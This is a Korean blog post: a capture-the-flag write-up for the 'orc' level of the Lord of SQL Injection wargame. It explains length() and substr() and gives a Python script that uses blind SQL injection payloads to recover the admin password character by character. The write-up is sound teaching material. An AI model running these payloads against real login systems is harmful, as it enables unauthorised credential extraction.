ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Los - 4 (orc) Write Up (Blind Sql injection 코딩 방법)
    CTF/Web 2020. 3. 12. 19:42

    Los.4_orc

    문제 분석

     

     

    4번째부터 벌써 난감한 문제가 나왔다.

    if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

    get을 통해 가져온 pw와 sql 결과문에서 나온 pw가 같아야지만 문제가 최종적으로 풀리게 되어 있다.

    즉 참, 거짓을 통해 직접적으로 푸는 방식이 아닌 참, 거짓을 통해서 비밀번호를 유추해서 비밀번호를 직접 적어야 하는 문제이다.

    이런 문제 유형을 보통 blind sql injection 문제라고 한다.

    해결방법은 보통 Python 코드를 작성하는 것이다.

    Blind sql 사전 지식

    이 문제를 풀기 위해서는 기본적으로 length 함수를 사용할 줄 알아야 하며, substr을 사용할 줄 알아야 한다.

    Length()

    length는 이름 그대로 길이를 구하는 함수이다.

    괄호 안에는 문자열이 들어간다.

    ex) length(pw)

    return 값은 해당 문자열의 길이로 int형이다.

    웹페이지에서 쿼리문이 올바르게 들어가는지 간단히 확인할 때는 부등호를 이용한다.

    select id from test where id='admin' and length(pw)>0

    참인 결과가 나오는지 확인 함을 통해서 length 함수의 작동 유무를 판단할 때 이러한 부등호를 응용해서 쓴다.

    이번 문제에서 사용한다면 이런 식이 될 것이다.

    Los%204_orc/_2020-03-10__4.39.38.png

    하지만 python에서 사용할 때는 for문을 사용하여 여러번 질의 응답을 할 수가 있어서 등호를 주로 사용하여서 돌린다.

    (밑의 예시 코드를 참조하자.)

    Substr()

    substr, substring으로 불리며 문자열에서 주어진 개수만큼 문자열을 뽑아 오는 함수이다.

    예를 들자면 'abcd'라는 문자열이 있을 때 'a'를 꺼내 오는 기능을 해준다.

    만약 'abcd'에서 'b'를 꺼내고 싶다면

    substr('abcd',2,1)

    라고 작성하면 된다.

    예시를 보여주고 나서 format을 설명하고 싶어서 이렇게 예시를 먼저 보여주었다.

    substr(문자열, 첫번째 가져올 문자의 위치, 가져올 개수)

    두글자 'cd'를 가져오고 싶다면

    substr('abcd',3,2)

    라고 작성하면 된다.

    sql 문제를 풀때 앞에 length에서 사용한 방식처럼 사용하면 된다.

    Python을 이용한 해결

    requests 모듈을 이용하면 requests 쿼리를 주고 받을 수가 있다.

    blind sql을 처음 언급해서 자세한 설명을 주석으로 담았다.

    import requests
    # requests 모듈을 사용하면 requests 쿼리를 보내고 받을 수가 있다.
    
    url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?"
    
    """
    밑에서 보낼 requests.get에 담을 내용으로 
    url은 sql 쿼리 조작시에도 늘 고정적임으로 
    따로 변수를 구분지어 지정해 주었다.
    """ 
    
    headers = {"cookie":"PHPSESSID=12312312313123"}
    # 서버에 보낼 세션 값으로 형식은 {"cookie":"쿠키값이름=내용"}으로 딕셔너리 타입이다.
    
    l = 0
    # 한번의 코딩으로 길이와 pw를 함께 구하기 위해 길이를 담을 변수를 지정하였다.
    
    for i in range(1,15): # 원하는 만큼 범위를 지정
        query = "pw=' or length(pw) = {}%23".format(i)
            # pw의 길이를 찾는 쿼리문
    
        r = requests.get(url+query, headers=headers)
            # get 방식으로 requests를 날린 후 서버로부터 받은 내용을 r이란 변수에 저장
    
        if "Hello admin" in r.text:
            # 보통 참일때 나타나는 웹페이지의 변화를 찾아서 if문의 조건으로 걸어준다.
            # r.text에서 찾으면 된다.
    
            l = i
                    # 참일시 길이를 저장
            print(i)
            break
    
    pw = ''
    #pw를 담을 변수 생성
    
    for i in range(1,l+1):
        for c in range(23, 133):
            query = "pw=' or id = 'admin' and ord(substr(pw, {}, 1)) = '{}'%23".format(i,c)
            """
                    Q. 왜 ord로 묶어준 것이죠?
                    A. 대소문자 구분이 힘들기 때문입니다.
                    substr이 반환하는 값을 chr형 타입의 알파벳과 비교할시 대소문자를 구분하지 않고 참으로 판정하는
                    헛점이 발생한다.
                    ord로 묶지 않아도 밑의 if문을 통해서 중복된 결과는 다행히 피해갈 수 있지만
                    실제 pw가 소문자이더라도 'a'='A'가 참으로 여겨지고 pw변수에 'A'가 입력되는
                    로직상 결점이 생긴다.
                    이러한 결함을 보완해주는 방법으로 ord가 사용된다.
                    ord는 간혹 의도치 않게 or을 필터링으로 두고 있는 문제에서 걸릴 수 있음으로 필터링 조건을
                    잘 확인후 사용해주어야 한다.
                    """
    
                    r = requests.get(url+query, headers=headers)
            if "Hello admin" in r.text:
                pw += chr(c)
                print(pw)
                            break

    코드를 돌리면 답이 나올 것이고 우린 그 pw를 정직하게 웹페이지에 넣어 주면 클리어 하게 된다.

    댓글

Designed by Tistory.